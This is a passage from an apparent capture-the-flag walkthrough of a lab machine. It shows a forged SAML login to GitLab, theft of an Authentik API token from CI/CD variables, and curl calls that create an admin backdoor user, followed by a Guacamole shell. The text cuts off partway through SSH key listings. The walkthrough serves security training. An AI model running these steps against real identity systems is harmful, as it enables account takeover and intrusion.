anpUYnh6UG81S3Q3CmhDSEp6TmZYWGNrbExGaXJ5Q09MQjJFWm0zNklDdUJMVmJaaUFSeUhiOE9rUlFtN09vSi91dld1U2NIWG5MTzAKcFRTZjlzSDFTbURZR2prMy9QRGprSEhKQWRhRlEyMXVBQm5mSVdsbWpGNHN1VG1WSU1icnRVT3RoblJkcFgvZgpEZ0RiL1k1NTFqTGZYSDJZNy9PWGduZWh3L2FIdjl1NFRGNlRZcXBOd2RNdEdqQys5SUU3K3BLNkt3ay9LMHU3ClVNWE9kQllXWTRidkZwaE9XRDFzZ0hRWWRxMkFyWVBuRUtVb0x5bDN3a2FkTldyMlZVQ21ESkxDSTE3SDN4cnUKZnVyMTdrN3QxcE52VWFqVWVYcUJycWdmTHFWZlNPZ2tmUmhFU2lxVlZadlk1RXJaNUNRano5Y0lXeTJkM3hEdQpHbkEvNW1rTy8yWUROMy9OZTA1WG5mK01WQis4bnV3PQo8L2RzOlg1MDlDZXJ0aWZpY2F0ZT4KPC9kczpYNTA5RGF0YT4KPC9kczpLZXlJbmZvPgo8L2RzOlNpZ25hdHVyZT48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OnVuc3BlY2lmaWVkIj5ha2FkbWluPC9zYW1sOk5hbWVJRD48c2FtbDpTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPHNhbWw6U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDI2LTAzLTAxVDE5OjAyOjE3WiIgUmVjaXBpZW50PSJodHRwczovL2dpdGxhYi5iYXJyaWVyLnZsL3VzZXJzL2F1dGgvc2FtbC9jYWxsYmFjayIvPjwvc2FtbDpTdWJqZWN0Q29uZmlybWF0aW9uPjwvc2FtbDpTdWJqZWN0PjxzYW1sOkNvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI2LTAyLTI4VDE4OjQ5OjQzWiIgTm90T25PckFmdGVyPSIyMDI2LTAzLTAxVDE5OjAyOjE3WiIvPjxzYW1sOkF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNi0wMi0yOFQxODo0OTo0M1oiIFNlc3Npb25JbmRleD0iNTA1Y2ZhYmNlYWM2ZmM1NGQwZDk4YTU3NGExYWZiOTI0MjY1M2RhMmUwNzBkNDNkMjIyNmM0MmYwNDUxYTQ4OCIgU2Vzc2lvbk5vdE9uT3JBZnRlcj0iMjAyNi0wMy0wMVQxOTowMjoxN1oiPjxzYW1sOkF1dGhuQ29udGV4dD48c2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvc2FtbDpBdXRobkNvbnRleHRDbGFzc1JlZj48L3NhbWw6QXV0aG5Db250ZXh0Pjwvc2FtbDpBdXRoblN0YXRlbWVudD48c2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPHNhbWw6QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL2VtYWlsYWRkcmVzcyI%2BPHNhbWw6QXR0cmlidXRlVmFsdWU%2Bc2F0b3J1QGJhcnJpZXIudmw8L3NhbWw6QXR0cmlidXRlVmFsdWU%2BPC9zYW1sOkF0dHJpYnV0ZT48L3NhbWw6QXR0cmlidXRlU3RhdGVtZW50Pjwvc2FtbDpBc3NlcnRpb24%2BPC9zYW1scDpSZXNwb25zZT4&amp;oeol=NEL">CyberChef</a> to re-encode it:</p>

<p><a href="/img/image-20260228141214166.png"><img src="/img/image-20260228141214166.png" alt="image-20260228141214166" /><em>Click for full size image</em></a></p>

<p>And paste that back into the hung request at Burp Proxy. On sending that, and turning off interception, I’m logged into GitLab as akadmin:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228141257553.webp" />
    <img loading="lazy" src="/img/image-20260228141257553.png" alt="image-20260228141257553" class="include_image " />
</picture>

<h3 id="akadmin-gitlab-enumeration">akadmin GitLab Enumeration</h3>

<p>The akadmin user doesn’t have any repos. They are an admin, so they can access the Admin area. There is one runner setup:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228142345551.webp" />
    <img loading="lazy" src="/img/image-20260228142345551.png" alt="image-20260228142345551" class="include_image " />
</picture>

<p>It would be pretty straightforward to get RCE inside a runner container. This would give access to environment variables, but in general this isn’t a real path to the host system. Before I go to this trouble, I’ll check the stored variables. Under Settings &gt; CI/CD there’s a Variables section, which is often used to store API keys to outside services that are meant to be used in CI/CD jobs:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260228142411733.webp" />
    <img loading="lazy" src="/img/image-20260228142411733.png" alt="image-20260228142411733" class="include_image " />
</picture>

<p>There’s an <code class="language-plaintext highlighter-rouge">AUTHENTIK_TOKEN</code>, which I can get by hitting the copy icon next to the “*”s.</p>

<h3 id="authentik-admin-access">Authentik Admin Access</h3>

<h4 id="authentik-api-enumeration">Authentik API Enumeration</h4>

<p>I’ll check the token against the Authentik API (which is documented at <a href="https://api.goauthentik.io/">api.goauthentik.io</a>). A simple check is the <a href="https://api.goauthentik.io/reference/admin-version-retrieve/">admin version endpoint</a>. I’ll try it without the token, see it fails, add the token, and it works:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> <span class="nt">-L</span> <span class="s1">'http://barrier.vl:9000/api/v3/admin/version/'</span> <span class="nt">-H</span> <span class="s1">'Accept: application/json'</span>
<span class="go">{"detail":"Authentication credentials were not provided."}
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">AUTHENTIK_API_TOKEN</span><span class="o">=</span>MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc
<span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> <span class="nt">-L</span> <span class="s1">'http://barrier.vl:9000/api/v3/admin/version/'</span> <span class="nt">-H</span> <span class="s1">'Accept: application/json'</span> <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$AUTHENTIK_API_TOKEN</span><span class="s2">"</span> | jq <span class="nb">.</span>
<span class="go">{
  "version_current": "2024.10.5",
  "version_latest": "0.0.0",
  "version_latest_valid": false,
  "build_hash": "",
  "outdated": false,
  "outpost_outdated": false
}
</span></code></pre></div></div>

<p>This shows this token not only works but has at least some admin privileges. I can <a href="https://api.goauthentik.io/reference/core-applications-list/">list the installed applications</a> which shows both GitLab and Guacamole:</p>

<div class="language-console code-collapse wrap highlighter-rouge" data-trunc="500"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> <span class="nt">-L</span> <span class="s1">'http://barrier.vl:9000/api/v3/core/applications/'</span> <span class="nt">-H</span> <span class="s1">'Accept: application/json'</span> <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$AUTHENTIK_API_TOKEN</span><span class="s2">"</span> | jq <span class="nb">.</span>
<span class="go">{
  "pagination": {
    "next": 0,
    "previous": 0,
    "count": 2,
    "current": 1,
    "total_pages": 1,
    "start_index": 1,
    "end_index": 2
  },
  "results": [
    {
      "pk": "78563ee9-c606-4349-be4a-0162f30743fe",
      "name": "Gitlab",
      "slug": "gitlab",
      "provider": 1,
      "provider_obj": {
        "pk": 1,
        "name": "GitlabSAML",
        "authentication_flow": "c54ee08b-0833-4623-9c5e-98949cf0d185",
        "authorization_flow": "8d166c19-0ecf-459e-b213-e6181bcf0e32",
        "invalidation_flow": "73e3b7a4-7d84-40e1-9036-f3b5d3ceaa85",
        "property_mappings": [
          "4cb262c9-3951-4b96-9efe-e3f800df9e32"
        ],
        "component": "ak-provider-saml-form",
        "assigned_application_slug": "gitlab",
        "assigned_application_name": "Gitlab",
        "verbose_name": "SAML Provider",
        "verbose_name_plural": "SAML Providers",
        "meta_model_name": "authentik_providers_saml.samlprovider"
      },
      "backchannel_providers": [],
      "backchannel_providers_obj": [],
      "launch_url": "/application/saml/gitlab/sso/binding/init/",
      "open_in_new_tab": false,
      "meta_launch_url": "",
      "meta_icon": null,
      "meta_description": "",
      "meta_publisher": "",
      "policy_engine_mode": "any",
      "group": ""
    },
    {
      "pk": "f63783af-abbd-4519-bec7-6fe129024b3b",
      "name": "Guacamole",
      "slug": "guac",
      "provider": 2,
      "provider_obj": {
        "pk": 2,
        "name": "GuacSAML",
        "authentication_flow": "c54ee08b-0833-4623-9c5e-98949cf0d185",
        "authorization_flow": "9b249a59-fb83-46d4-ad7a-a5e459d2188e",
        "invalidation_flow": "73e3b7a4-7d84-40e1-9036-f3b5d3ceaa85",
        "property_mappings": [
          "07a97217-6b21-44bb-b2d6-d390a97ecc1a"
        ],
        "component": "ak-provider-saml-form",
        "assigned_application_slug": "guac",
        "assigned_application_name": "Guacamole",
        "verbose_name": "SAML Provider",
        "verbose_name_plural": "SAML Providers",
        "meta_model_name": "authentik_providers_saml.samlprovider"
      },
      "backchannel_providers": [],
      "backchannel_providers_obj": [],
      "launch_url": "/application/saml/guac/sso/binding/init/",
      "open_in_new_tab": false,
      "meta_launch_url": "",
      "meta_icon": null,
      "meta_description": "",
      "meta_publisher": "",
      "policy_engine_mode": "any",
      "group": ""
    }
  ]
}
</span></code></pre></div></div>

<p>I can also check out the users on this instance:</p>

<div class="language-console code-collapse wrapall highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> <span class="nt">-L</span> <span class="s1">'http://barrier.vl:9000/api/v3/core/users/'</span> <span class="nt">-H</span> <span class="s1">'Accept: application/json'</span> <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$AUTHENTIK_API_TOKEN</span><span class="s2">"</span> | jq <span class="nb">.</span>
<span class="go">{
  "pagination": {
    "next": 0,
    "previous": 0,
    "count": 4,
    "current": 1,
    "total_pages": 1,
    "start_index": 1,
    "end_index": 4
  },
  "results": [
    {
      "pk": 2,
      "username": "ak-outpost-af1fa701dddb44f98ddf2c3868733303",
      "name": "Outpost authentik Embedded Outpost Service-Account",
      "is_active": true,
      "last_login": null,
      "is_superuser": false,
      "groups": [],
      "groups_obj": [],
      "email": "",
      "avatar": "https://www.gravatar.com/avatar/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855?size=158&amp;rating=g&amp;default=404",
      "attributes": {},
      "uid": "2698567113c1ff76765c3baaa33db04c022784564d91d0c65ef03f41961282cf",
      "path": "goauthentik.io/outposts",
      "type": "internal_service_account",
      "uuid": "3737be82-3c55-4195-b639-478c339edb35"
    },
    {
      "pk": 4,
      "username": "akadmin",
      "name": "authentik Default Admin",
      "is_active": true,
      "last_login": "2025-06-18T09:25:04.724776Z",
      "is_superuser": true,
      "groups": [
        "a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8"
      ],
      "groups_obj": [
        {
          "pk": "a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8",
          "num_pk": 21741,
          "name": "authentik Admins",
          "is_superuser": true,
          "parent": null,
          "parent_name": null,
          "attributes": {}
        }
      ],
      "email": "admin@barrier.vl",
      "avatar": "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI2NHB4IiBoZWlnaHQ9IjY0cHgiIHZpZXdCb3g9IjAgMCA2NCA2NCIgdmVyc2lvbj0iMS4xIj48cmVjdCBmaWxsPSIjMzc3YjM3IiBjeD0iMzIiIGN5PSIzMiIgd2lkdGg9IjY0IiBoZWlnaHQ9IjY0IiByPSIzMiIvPjx0ZXh0IHg9IjUwJSIgeT0iNTAlIiBzdHlsZT0iY29sb3I6ICNmZmY7IGxpbmUtaGVpZ2h0OiAxOyBmb250LWZhbWlseTogJ1JlZEhhdFRleHQnLCdPdmVycGFzcycsb3ZlcnBhc3MsaGVsdmV0aWNhLGFyaWFsLHNhbnMtc2VyaWY7ICIgZmlsbD0iI2ZmZiIgYWxpZ25tZW50LWJhc2VsaW5lPSJtaWRkbGUiIGRvbWluYW50LWJhc2VsaW5lPSJtaWRkbGUiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZvbnQtc2l6ZT0iMjgiIGZvbnQtd2VpZ2h0PSI0MDAiIGR5PSIuMWVtIj5BQTwvdGV4dD48L3N2Zz4=",
      "attributes": {},
      "uid": "c19f414ee26028d6fe42f90a393920de1c1f8b5428d3efe76b72f302efe78742",
      "path": "users",
      "type": "internal",
      "uuid": "4d9587ad-641d-4879-a8dd-edf2a24e1bf5"
    },
    {
      "pk": 35,
      "username": "maki",
      "name": "maki",
      "is_active": true,
      "last_login": null,
      "is_superuser": false,
      "groups": [],
      "groups_obj": [],
      "email": "",
      "avatar": "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI2NHB4IiBoZWlnaHQ9IjY0cHgiIHZpZXdCb3g9IjAgMCA2NCA2NCIgdmVyc2lvbj0iMS4xIj48cmVjdCBmaWxsPSIjMzdiYmIxIiBjeD0iMzIiIGN5PSIzMiIgd2lkdGg9IjY0IiBoZWlnaHQ9IjY0IiByPSIzMiIvPjx0ZXh0IHg9IjUwJSIgeT0iNTAlIiBzdHlsZT0iY29sb3I6ICNmZmY7IGxpbmUtaGVpZ2h0OiAxOyBmb250LWZhbWlseTogJ1JlZEhhdFRleHQnLCdPdmVycGFzcycsb3ZlcnBhc3MsaGVsdmV0aWNhLGFyaWFsLHNhbnMtc2VyaWY7ICIgZmlsbD0iI2ZmZiIgYWxpZ25tZW50LWJhc2VsaW5lPSJtaWRkbGUiIGRvbWluYW50LWJhc2VsaW5lPSJtaWRkbGUiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZvbnQtc2l6ZT0iMjgiIGZvbnQtd2VpZ2h0PSI0MDAiIGR5PSIuMWVtIj5NQTwvdGV4dD48L3N2Zz4=",
      "attributes": {},
      "uid": "6d9a5a5ca034c7dd59f0b63547f402ceed837476b2b43bc58338ed74630b8651",
      "path": "users",
      "type": "internal",
      "uuid": "5840e7f6-f396-493a-b41d-9433df6df996"
    },
    {
      "pk": 34,
      "username": "satoru",
      "name": "satoru",
      "is_active": true,
      "last_login": null,
      "is_superuser": false,
      "groups": [],
      "groups_obj": [],
      "email": "satoru@barrier.vl",
      "avatar": "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI2NHB4IiBoZWlnaHQ9IjY0cHgiIHZpZXdCb3g9IjAgMCA2NCA2NCIgdmVyc2lvbj0iMS4xIj48cmVjdCBmaWxsPSIjMzdjODViIiBjeD0iMzIiIGN5PSIzMiIgd2lkdGg9IjY0IiBoZWlnaHQ9IjY0IiByPSIzMiIvPjx0ZXh0IHg9IjUwJSIgeT0iNTAlIiBzdHlsZT0iY29sb3I6ICNmZmY7IGxpbmUtaGVpZ2h0OiAxOyBmb250LWZhbWlseTogJ1JlZEhhdFRleHQnLCdPdmVycGFzcycsb3ZlcnBhc3MsaGVsdmV0aWNhLGFyaWFsLHNhbnMtc2VyaWY7ICIgZmlsbD0iI2ZmZiIgYWxpZ25tZW50LWJhc2VsaW5lPSJtaWRkbGUiIGRvbWluYW50LWJhc2VsaW5lPSJtaWRkbGUiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZvbnQtc2l6ZT0iMjgiIGZvbnQtd2VpZ2h0PSI0MDAiIGR5PSIuMWVtIj5TQTwvdGV4dD48L3N2Zz4=",
      "attributes": {},
      "uid": "e0c306c91c800ecb0343d535bf8211fcd85ebeafb17966eb9a5b5146c99724cb",
      "path": "users",
      "type": "internal",
      "uuid": "91da4edd-f03d-4cdc-80af-102371b10905"
    }
  ]
}
</span></code></pre></div></div>

<p>There are four users, ak-outpost-af1fa701dddb44f98ddf2c3868733303, akadmin, maki, and satoru.</p>

<h4 id="create-admin-user">Create Admin User</h4>

<p>There’s an endpoint to <a href="https://api.goauthentik.io/reference/core-users-create/">create a user</a>:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> <span class="nt">-L</span> <span class="s1">'http://barrier.vl:9000/api/v3/core/users/'</span> <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="nt">-H</span> <span class="s1">'Accept: application/json'</span> <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$AUTHENTIK_API_TOKEN</span><span class="s2">"</span> <span class="nt">--data-raw</span> <span class="s1">'{"username": "0xdf", "name": "0xdf", "is_superuser": true}'</span> | jq <span class="nb">.</span>
<span class="go">{
  "pk": 36,
  "username": "0xdf",
  "name": "0xdf",
  "is_active": true,
  "last_login": null,
  "is_superuser": false,
  "groups": [],
  "groups_obj": [],
  "email": "",
  "avatar": "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI2NHB4IiBoZWlnaHQ9IjY0cHgiIHZpZXdCb3g9IjAgMCA2NCA2NCIgdmVyc2lvbj0iMS4xIj48cmVjdCBmaWxsPSIjOGFhNmM4IiBjeD0iMzIiIGN5PSIzMiIgd2lkdGg9IjY0IiBoZWlnaHQ9IjY0IiByPSIzMiIvPjx0ZXh0IHg9IjUwJSIgeT0iNTAlIiBzdHlsZT0iY29sb3I6ICNmZmY7IGxpbmUtaGVpZ2h0OiAxOyBmb250LWZhbWlseTogJ1JlZEhhdFRleHQnLCdPdmVycGFzcycsb3ZlcnBhc3MsaGVsdmV0aWNhLGFyaWFsLHNhbnMtc2VyaWY7ICIgZmlsbD0iI2ZmZiIgYWxpZ25tZW50LWJhc2VsaW5lPSJtaWRkbGUiIGRvbWluYW50LWJhc2VsaW5lPSJtaWRkbGUiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZvbnQtc2l6ZT0iMjgiIGZvbnQtd2VpZ2h0PSI0MDAiIGR5PSIuMWVtIj4wWDwvdGV4dD48L3N2Zz4=",
  "attributes": {},
  "uid": "0e89e359cf32c3efeecb057458a53528a5b799dd5067d7915bd7a15e082dbb74",
  "path": "users",
  "type": "internal",
  "uuid": "a0e7ebd1-7e02-43aa-b535-ed4490995a48"
}
</span></code></pre></div></div>

<p>Even though I tried to set <code class="language-plaintext highlighter-rouge">is_superuser</code> to true, it didn’t take.</p>

<p>The API docs show many more fields set in the POST, but just having <code class="language-plaintext highlighter-rouge">username</code> and <code class="language-plaintext highlighter-rouge">name</code> worked fine. Now I’ll <a href="https://api.goauthentik.io/reference/core-users-set-password-create/">set a password</a> for 0xdf:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-L</span> <span class="s1">'http://barrier.vl:9000/api/v3/core/users/36/set_password/'</span> <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$AUTHENTIK_API_TOKEN</span><span class="s2">"</span> <span class="nt">-d</span> <span class="s1">'{"password": "0xdf0xdf."}'</span>
<span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-v</span> <span class="nt">-L</span> <span class="s1">'http://barrier.vl:9000/api/v3/core/users/36/set_password/'</span> <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$AUTHENTIK_API_TOKEN</span><span class="s2">"</span> <span class="nt">-d</span> <span class="s1">'{"password": "0xdf0xdf."}'</span>
<span class="go">* Host barrier.vl:9000 was resolved.
* IPv6: (none)
* IPv4: 10.129.234.46
*   Trying 10.129.234.46:9000...
* Connected to barrier.vl (10.129.234.46) port 9000
&gt; POST /api/v3/core/users/36/set_password/ HTTP/1.1
&gt; Host: barrier.vl:9000
&gt; User-Agent: curl/8.5.0
&gt; Accept: */*
&gt; Content-Type: application/json
&gt; Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc
&gt; Content-Length: 25
&gt; 
&lt; HTTP/1.1 204 No Content
&lt; Allow: POST, OPTIONS
&lt; Date: Sun, 01 Mar 2026 13:05:17 GMT
&lt; Referrer-Policy: same-origin
&lt; Vary: Accept-Encoding
&lt; Vary: Cookie
&lt; X-Authentik-Id: 160df17176fe4ae7936e140544c0d511
&lt; X-Content-Type-Options: nosniff
&lt; X-Frame-Options: DENY
&lt; X-Powered-By: authentik
&lt; 
* Connection #0 to host barrier.vl left intact
</span></code></pre></div></div>

<p>There’s no response, but that implies success (the docs took the <code class="language-plaintext highlighter-rouge">Accept</code> header out for this call). With <code class="language-plaintext highlighter-rouge">-v</code> it shows a 204, which is the success status code.</p>

<p>At this point I have a user with a password that can log in. They aren’t a superuser, and have no groups. To be useful, I’ll add it to the admin group. The user enumeration above shows the akadmin user is in the group with ID a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8. There’s an API to <a href="https://api.goauthentik.io/reference/core-groups-list/">list groups</a>:</p>

<div class="language-console code-collapse wrap highlighter-rouge" data-trunc="500"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-s</span> <span class="nt">-L</span> <span class="s1">'http://barrier.vl:9000/api/v3/core/groups/'</span> <span class="nt">-H</span> <span class="s1">'Accept: application/json'</span> <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$AUTHENTIK_API_TOKEN</span><span class="s2">"</span> | jq <span class="nb">.</span>
<span class="go">{
  "pagination": {
    "next": 0,
    "previous": 0,
    "count": 2,
    "current": 1,
    "total_pages": 1,
    "start_index": 1,
    "end_index": 2
  },
  "results": [
    {
      "pk": "a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8",
      "num_pk": 21741,
      "name": "authentik Admins",
      "is_superuser": true,
      "parent": null,
      "parent_name": null,
      "users": [
        4
      ],
      "users_obj": [
        {
          "pk": 4,
          "username": "akadmin",
          "name": "authentik Default Admin",
          "is_active": true,
          "last_login": "2025-06-18T09:25:04.724776Z",
          "email": "admin@barrier.vl",
          "attributes": {},
          "uid": "c19f414ee26028d6fe42f90a393920de1c1f8b5428d3efe76b72f302efe78742"
        }
      ],
      "attributes": {},
      "roles": [],
      "roles_obj": []
    },
    {
      "pk": "fd49997b-e380-4771-b4e7-70a5f174afb5",
      "num_pk": 33667,
      "name": "authentik Read-only",
      "is_superuser": false,
      "parent": null,
      "parent_name": null,
      "users": [],
      "users_obj": [],
      "attributes": {
        "notes": "An group with an auto-generated role that allows read-only permissions on all objects.\n"
      },
      "roles": [
        "2b18aa04-3ee8-41ff-a66d-69f31c6514f7"
      ],
      "roles_obj": [
        {
          "pk": "2b18aa04-3ee8-41ff-a66d-69f31c6514f7",
          "name": "authentik Read-only"
        }
      ]
    }
  ]
}
</span></code></pre></div></div>

<p>So that’s the “authentik Admins” group. I’ll <a href="https://api.goauthentik.io/reference/core-groups-add-user-create/">add that</a>:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-v</span> <span class="nt">-L</span> <span class="s1">'http://barrier.vl:9000/api/v3/core/groups/a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8/add_user/'</span> <span class="nt">-H</span> <span class="s1">'Content-Type: application/json'</span> <span class="nt">-H</span> <span class="s2">"Authorization: Bearer </span><span class="nv">$AUTHENTIK_API_TOKEN</span><span class="s2">"</span> <span class="nt">-d</span> <span class="s1">'{"pk": 36}'</span>
<span class="go">* Host barrier.vl:9000 was resolved.
* IPv6: (none)
* IPv4: 10.129.234.46
*   Trying 10.129.234.46:9000...
* Connected to barrier.vl (10.129.234.46) port 9000
&gt; POST /api/v3/core/groups/a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8/add_user/ HTTP/1.1
&gt; Host: barrier.vl:9000
&gt; User-Agent: curl/8.5.0
&gt; Accept: */*
&gt; Content-Type: application/json
&gt; Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc
&gt; Content-Length: 10
&gt; 
&lt; HTTP/1.1 204 No Content
&lt; Allow: POST, OPTIONS
&lt; Date: Sun, 01 Mar 2026 13:26:41 GMT
&lt; Referrer-Policy: same-origin
&lt; Vary: Accept-Encoding
&lt; Vary: Cookie
&lt; X-Authentik-Id: b9b5274faa774f1dbfce469b9f892281
&lt; X-Content-Type-Options: nosniff
&lt; X-Frame-Options: DENY
&lt; X-Powered-By: authentik
&lt; 
* Connection #0 to host barrier.vl left intact
</span></code></pre></div></div>

<p>The 204 is success.</p>

<p>When I log in as 0xdf there’s an “Admin interface” button at the top right:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260301115943907.webp" />
    <img loading="lazy" src="/img/image-20260301115943907.png" alt="image-20260301115943907" class="include_image " />
</picture>

<h3 id="guacamole-access">Guacamole Access</h3>

<p>The Admin interface shows a dashboard of recent events:</p>

<p><a href="/img/image-20260301120237884.png"><img src="/img/image-20260301120237884.png" alt="image-20260301120237884" /><em>Click for full size image</em></a></p>

<p>Under “Manage users”, it shows the same five users noted <a href="#enumerate-gitlab-users">above</a>:</p>

<p><a href="/img/image-20260301120331045.png"><img src="/img/image-20260301120331045.png" alt="image-20260301120331045" /><em>Click for full size image</em></a></p>

<p>The Impersonate button is interesting. I’ll try impersonating akadmin. It shows the same two apps, and I can log into both GitLab and Guacamole as akadmin, but nothing interesting comes from it.</p>

<p>If I Impersonate maki, GitLab doesn’t work:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260301120612060.webp" />
    <img loading="lazy" src="/img/image-20260301120612060.png" alt="image-20260301120612060" class="include_image " />
</picture>

<p>However, Guacamole shows a connection:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260301120729559.webp" />
    <img loading="lazy" src="/img/image-20260301120729559.png" alt="image-20260301120729559" class="include_image " />
</picture>

<p>Clicking on Maintenance loads a shell on an Ubuntu host named barrier:</p>

<p><a href="/img/image-20260301120810734.png"><img src="/img/image-20260301120810734.png" alt="image-20260301120810734" /><em>Click for full size image</em></a></p>

<p>I’ll grab <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki@barrier:~$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">bb50b385************************
</span></code></pre></div></div>

<h3 id="ssh">SSH</h3>

<p>In the maki user’s <code class="language-plaintext highlighter-rouge">.ssh</code> directory, there’s both RSA and ED25519 key pairs, and both are in the <code class="language-plaintext highlighter-rouge">authorized_keys</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">maki@barrier:~/.ssh$</span><span class="w"> </span><span class="nb">cat </span>authorized_keys 
<span class="go">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBkODrlj6D8fDggtWytTbxs7Vz6FLu9qfPTfJpXCe/3M maki@barrier
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDojHvvOSNr5eiXVVAovHyMmX6QTIM92zyIER0RuTPj893t8aC1c8LGzbsYX
bn7uS44hLO07D+2zoC8eD8fJzFDcnrXFPVWnxa0bulfuqb/XJ4nK7RUoyljCbckmft3xJFPUQXoeXfWPQw10mzEdxaLFm4PRb
RbMtpQ+E1LDSXu1h8B+xilsYxAXG+N8GvIV2anBJVZfHqyP9mhKWXL5A4OUD9I9ss4RbPB4J8mwHvVTPZnZVYSps5H85L+Yky
9l9SpQuE5K/8na93hDS79VoRO3OWR7Kf8A7IBm/Pa75giwN4qNeCPqPZIDps7VXjgMiouqf039tgQx5496G6Q0E+T6oBpzl30
BgBtM1xaVnnWpv54NveBIk66pVUpr6vtkgaq7AljCjADCVGCb5w/yp5G+DGNg0Cn8YkgHo/Qtd/Lzh6ruVEHeaqHaxtFpKZqO
6HGTdvihEmuK8vtdZfZvc92QfLrdCViDb/SVhQ0H5LWoOQ46V6dWtEbcBoIcMyJtyM= maki@barrier
</span><span class="gp">maki@barrier:~/.ssh$</span><span class="w"> </span><span class="nb">cat </span>id_ed25519.pub 
<span class="go">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBkODrlj6D8fDggtWytTbxs7Vz6FLu9qfPTfJpXCe/3M maki@barrier
</span><span class="gp">maki@barrier:~/.ssh$</span><span class="w"> </span><span class="nb">cat </span>id_rsa.pub 
<span class="go">ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDojHvvOSNr5eiXVVAovHyMmX6QTIM92zyIER0RuTPj893t8aC1c8LGzbsYX
bn7uS44hLO07D+2zoC8eD8fJzFDcnrXFPVWnxa0bulfuqb/XJ4nK7RUoyljCbckmft3xJFPUQXoeXfWPQw10mzEdxaLFm4PRb
